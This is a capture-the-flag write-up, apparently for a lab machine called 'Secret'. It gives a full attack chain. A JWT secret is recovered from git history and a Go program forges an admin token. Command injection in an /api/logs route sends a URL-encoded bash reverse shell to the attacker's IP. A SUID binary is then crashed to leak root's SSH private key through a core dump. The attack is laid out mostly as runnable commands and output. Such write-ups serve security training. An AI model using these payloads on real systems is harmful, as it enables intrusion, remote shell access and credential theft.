Secret starts with analyzing web source to recover a secret token from older commit. The secret is then used to forge JWT Admin token for accessing a private API route which is vulnerable to command injection and that eventually allows me to gain shell access on the system. For the root part, there’s a custom program with SUID bit that can be exploited by crashing it.
Skills Learned
- Forging JWT
- Command injection in API
- Abuse Core Dump with SUID
Tools
- nmap
- JWT tool
- curl
Reconnaissance
Nmap
Full TCP port scan with nmap
discovers 3 open ports: SSH on its default port, HTTP on port 80 handled by NGINX, and another HTTP on port 3000 handled by Node.js.
→ kali@kali «secret» «10.10.14.28»
$ fscan 10.10.11.120 secret
nmap -p- 10.10.11.120 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p 22,80,3000 -sC -sV -oA nmap/all-tcp-ports-secret 10.10.11.120
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-30 23:20 EDT
Nmap scan report for 10.10.11.120
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds
Enumeration
TCP 80 - Website
Visiting the web on port 80 shows an online API documentation page called “DUMBDocs”.
The Live Demo button points to /api/
, but it’s a 404.
At the bottom of the page, there’s a button to download the API source code and I’ll grab it.
Clicking on any of the available card menus (introduction, installation, etc.) redirects to /docs
, which in this section it explains how to use the API.
Some sections contain lorem ipsum text, some are not. That should be the hint where to go further
TCP 3000 - Website
On port 3000, it serves the same site as on port 80, but it served by node.js
not NGINX
.
From here, I’ll look into the API.
API
Register
According to the documentation (/docs
), I can register a user by sending API request to /api/user/register
.
→ kali@kali «secret» «10.10.14.28»
$ curl -H 'Content-Type: application/json' -d '{"name": "syncrst","email": "syncrst1@secret.com","password": "syncrst"}' http://secret.htb:3000/api/user/register
{"user":"syncrst"}
The response returns my username and that means the registration was successful.
Login -> JWT token
Now that I’ve been registered, I can login to get a JWT token by sending API request to /api/user/login
.
→ kali@kali «secret» «10.10.14.28»
$ curl -H 'Content-Type: application/json' -d '{"email": "syncrst1@secret.com","password": "syncrst"}' http://secret.htb:3000/api/user/login
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzMxYzk5OGJkMDdlMGQ3YTU1ODcyOGYiLCJuYW1lIjoic3luY3JzdCIsImVtYWlsIjoic3luY3JzdDFAc2VjcmV0LmNvbSIsImlhdCI6MTY2NDIwNzU5OX0.VGfQxKW8DbdCCWGTeyEo6MAHhOkEqeaW-IBvyaik4oc
The payload data of this JWT can be seen with jwt.io.
Private Route
The last API route in this docs is /api/priv
. I can use the auth token I got on this route, where it basically just checks for user role or privilege.
→ kali@kali «secret» «10.10.14.28»
$ curl -sH 'Auth-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzMxYzk5OGJkMDdlMGQ3YTU1ODcyOGYiLCJuYW1lIjoic3luY3JzdCIsImVtYWlsIjoic3luY3JzdDFAc2VjcmV0LmNvbSIsImlhdCI6MTY2NDIwNzU5OX0.VGfQxKW8DbdCCWGTeyEo6MAHhOkEqeaW-IBvyaik4oc' http://secret.htb:3000/api/priv | jq
{
"role": {
"role": "you are normal user",
"desc": "syncrst"
}
}
It’s still vague what to do with this API, so I’ll look into the source code.
Source Code Analysis
Directory Structure
The source code has the typical structure of node.js
application
→ kali@kali «loot» «10.10.14.28»
$ tree -L 2 .
.
├── files.zip
└── local-web
├── index.js
├── model
├── node_modules
├── package.json
├── package-lock.json
├── public
├── routes
├── src
└── validations.js
7 directories, 5 files
Commit History
When I enter the local-web
directory, my git plugin is activated, which indicates it contains git objects. It’s worth to start with git first.
Running git log
shows the commit history, author and email address.
→ kali@kali «local-web» «10.10.14.28» git:(master) ✗
$ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
Commit 67d8da7
seems interesting. When comparing it with commit de0a46b
, there’s a deleted secret token.
→ kali@kali «local-web» «10.10.14.28» git:(master) ✗
$ git diff 67d8da7 de0a46b | cat
diff --git a/.env b/.env
index 31db370..fb6f587 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = secret
+TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
I’ll note that secret token.
Web Routes
Looking at the index.js
file, there are three defined routes: privRoute
, authRoute
, and webroute
.
...[SNIP]...
const privRoute = require('./routes/private') # location: routes/private.js
...[SNIP]...
// import routs
const authRoute = require('./routes/auth'); # location: routes/auth.js
const webroute = require('./src/routes/web') # location: src/routes/web.js
...[SNIP]...
//middle ware
app.use(express.json());
app.use('/api/user',authRoute)
app.use('/api/', privRoute)
app.use('/', webroute)
webroute
is the router that handles the documentation web while authRoute
is the router that handles the API for user registration (/api/user/register
) and login (/api/user/login
) .
As for privRoute
, it handles the API for private route (/api/priv
). But, there’s a hidden route /api/logs
that wasn’t listed in the API documentation. What’s more interesting is that /api/logs
route is vulnerable to command injection only if I pass the verification as user theadmin
.
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`; # command injection
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
Foothold
Shell as dasith
Forging Admin Token
With the secret token obtained, I’ll write a program to forge valid JWT token for user theadmin
.
package main
import (
"fmt"
jwt "github.com/dgrijalva/jwt-go"
)
func main() {
claims := struct {
ID string `json:"_id,omitempty"`
Name string `json:"name,omitempty"`
Email string `json:"email,omitempty"`
jwt.StandardClaims
}{
ID: "6114654d77f9a54e00f05777",
Name: "theadmin",
Email: "root@dasith.works",
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
secret := "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
signedToken, _ := token.SignedString([]byte(secret))
fmt.Printf("%s", signedToken)
}
I’ll run the program to get the auth token.
→ kali@kali «exploits» «10.10.14.28»
$ go run forge-jwt.go
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIn0.TKKattF_Exm2kXW4PQOo9jyrW0cMYuQkiQWP7DuhPn0
Now I can verify if that token works by accessing the /api/priv
route
→ kali@kali «exploits» «10.10.14.28»
$ curl -s -H 'Auth-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfa...[SNIP]...Pn0' "http://secret.htb:3000/api/priv" | jq
{
"creds": {
"role": "admin",
"username": "theadmin",
"desc": "welcome back admin,"
}
}
Command Injection
With admin token, I can access the /api/logs
route.
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
...[SNIP]...
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
...[SNIP]...
This route takes one query: file
, where its value then get passed into getLogs
and eventually executed as OS command in the exec()
function. Knowing this, I can inject OS command in the file
query with |
(pipe):
→ kali@kali «exploits» «10.10.14.28»
$ curl -s -H 'Auth-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfa...[SNIP]...Pn0' "http://secret.htb:3000/api/logs?file=%3E%2fdev%2fnull|uname%20-a"
"Linux secret 5.4.0-89-generic #100-Ubuntu SMP Fri Sep 24 14:50:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux\n"
And that worked.
the
>
and/
symbols are URL encoded.
Reverse Shell
This time I’ll setup a netcat listener and send URL-encoded bash reverse shell
→ kali@kali «exploits» «10.10.14.28»
$ curl -s -H 'Auth-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfa...[SNIP]...Pn0' "http://secret.htb:3000/api/logs?file=%3E%2fdev%2fnull|bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.28%2F88%200%3E%261%22"
On my listener:
→ kali@kali «~» «10.10.14.28»
$ nc -nvlp 88
listening on [any] 88 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.11.120] 46050
bash: cannot set terminal process group (2131): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ id
id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~/local-web$
I’ll upgrade my shell so it can be more interactive
dasith@secret:~/local-web$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
dasith@secret:~/local-web$ export TERM=xterm
export TERM=xterm
dasith@secret:~/local-web$ ^Z
[1] + 7417 suspended nc -nvlp 88
→ kali@kali «~» «10.10.14.28»
$ stty raw -echo;fg
[1] + 7417 continued nc -nvlp 88
dasith@secret:~/local-web$
The user flag is done here.
dasith@secret:~$ cat user.txt
c95a3f...[SNIP]...
Privilege Escalation
Shell as root
Enumeration
Doing a recursive search with the find
command reveal a crash file
dasith@secret:/opt$ find / -type f -user dasith 2>/dev/null | grep -v 'proc\|\.npm\|local-web'
/var/crash/_opt_count.1000.crash
...[SNIP]...
That naming lead me to /opt
, where I find a C code, a binary, and a log file.
dasith@secret:/$ ls /opt/
code.c count valgrind.log
dasith@secret:/$ cd /opt/
dasith@secret:/opt$ ls -la
total 56
drwxr-xr-x 2 root root 4096 Oct 7 10:06 .
drwxr-xr-x 20 root root 4096 Oct 7 15:01 ..
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rw-r--r-- 1 root root 16384 Oct 7 10:01 .code.c.swp
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log
The binary drews my attention because it has SUID bit.
When I run it, it asks for a file/directory and when it finishes, I’m given with an option to save the results.
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
Path: /tmp/test
dasith@secret:/opt$ cat /tmp/test
Total characters = 33
Total words = 2
Total lines = 2
From here, I’ll look into the C code.
Source Code Analysis
Since the rests isn’t that important, I’ll start from the main function.
In the code snippet below, the first thing that this program do is ask the user for input and then it decides which functions to call: dircount
if the input is a directory and filecount
if the input is a file.
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
...[SNIP]...
The next thing this program do is dropping the root privilege to normal user, and then it’s forced to generate a core dump. Lastly, it’ll ask whether the user wants to save the result or not.
...[SNIP]...
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
The key here is that, with core dump enabled ( prctl(PR_SET_DUMPABLE, 1)
), when the program crashes, the memory state of this program will be recorded and dumped to a crash file. That file is typically used for diagnosing the program fault.
Abuse Core Dump - Force Crash
When I open a file like /root/.ssh/id_rsa
in this program and if by accident it crashes, the content of that id_rsa
will definitely got dumped into the crash file.
Now the question is, how to intentionally crash this program?
According to this post on StackOverFlow, sending kill -11
can trigger a crash on a program, which eventually produces a core dump.
First, I will open another sessions, so I have two in total. On the first session, I’ll run the count
program and keep it running in the result section.
dasith@secret:/tmp/$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: y
Path:
Then on the other session, you guess it, I will send a kill signal to crash the program.
dasith@secret:/opt$ kill -11 $(pidof count)
It crashes
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: y
Path: Killed
The crash file is generated under /var/crash/
.
dasith@secret:/tmp$ ls -l /var/crash/_opt_count.1000.crash
-rw-r----- 1 dasith dasith 28717 Oct 31 08:39 /var/crash/_opt_count.1000.crash
The crash file can be unpacked into a separate files using the apport-unpack
utility, which also installed in this machine.
dasith@secret:/tmp/$ mkdir .syncrst && apport-unpack /var/crash/_opt_count.1000.crash .syncrst
dasith@secret:/tmp/$ ls -la .syncrst
total 440
drwxr-xr-x 2 dasith dasith 4096 Oct 31 08:43 .
drwxrwxrwt 16 root root 4096 Oct 31 08:25 ..
-rw-r--r-- 1 dasith dasith 5 Oct 31 08:43 Architecture
-rw-r--r-- 1 dasith dasith 380928 Oct 31 08:43 CoreDump
-rw-r--r-- 1 dasith dasith 1 Oct 31 08:43 CrashCounter
-rw-r--r-- 1 dasith dasith 24 Oct 31 08:43 Date
-rw-r--r-- 1 dasith dasith 12 Oct 31 08:43 DistroRelease
-rw-r--r-- 1 dasith dasith 10 Oct 31 08:43 ExecutablePath
-rw-r--r-- 1 dasith dasith 10 Oct 31 08:43 ExecutableTimestamp
-rw-r--r-- 1 dasith dasith 5 Oct 31 08:43 ProblemType
-rw-r--r-- 1 dasith dasith 10 Oct 31 08:43 ProcCmdline
-rw-r--r-- 1 dasith dasith 10 Oct 31 08:43 ProcCwd
-rw-r--r-- 1 dasith dasith 64 Oct 31 08:43 ProcEnviron
-rw-r--r-- 1 dasith dasith 2144 Oct 31 08:43 ProcMaps
-rw-r--r-- 1 dasith dasith 1343 Oct 31 08:43 ProcStatus
-rw-r--r-- 1 dasith dasith 2 Oct 31 08:43 Signal
-rw-r--r-- 1 dasith dasith 29 Oct 31 08:43 Uname
-rw-r--r-- 1 dasith dasith 3 Oct 31 08:43 UserGroups
The CoreDump file is the one that contains the id_rsa
.
dasith@secret:/tmp/$ cat .syncrst/CoreDump
...[SNIP]...
□☺□$□□□□□xWU□□□xWU□□□xWU□□□xWU□□□xWU□□□xWU□□□xWU□□□xWU□□wȏ♥□□□xWU□□□□□□□□□□□xWU□□□□□□wȏ`□wȏ◄►-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3
KUZsBKygoOvzmhzWYcs413UDJqUMWs+o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw+
...[SNIP]...
RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f+5mU8S1bhleY5hP9
6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
...[SNIP]...
With that key, I can SSH login as root and grab the root flag!
→ kali@kali «exploits» «10.10.14.28»
$ ssh -i coredump.ssh root@10.10.11.120
The authenticity of host '10.10.11.120 (10.10.11.120)' can't be established.
ECDSA key fingerprint is SHA256:YNT38/psf6LrGXZJZYJVglUOKXjstxzWK5JJU7zzp3g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.120' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 31 Oct 2021 08:16:22 AM UTC
System load: 0.0 Processes: 223
Usage of /: 52.8% of 8.79GB Users logged in: 0
Memory usage: 20% IPv4 address for eth0: 10.10.11.120
Swap usage: 0%
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Oct 31 07:47:50 2021 from 10.10.14.91
root@secret:~# id
uid=0(root) gid=0(root) groups=0(root)
root@secret:~# cat root.txt
d1d6d....[SNIP]....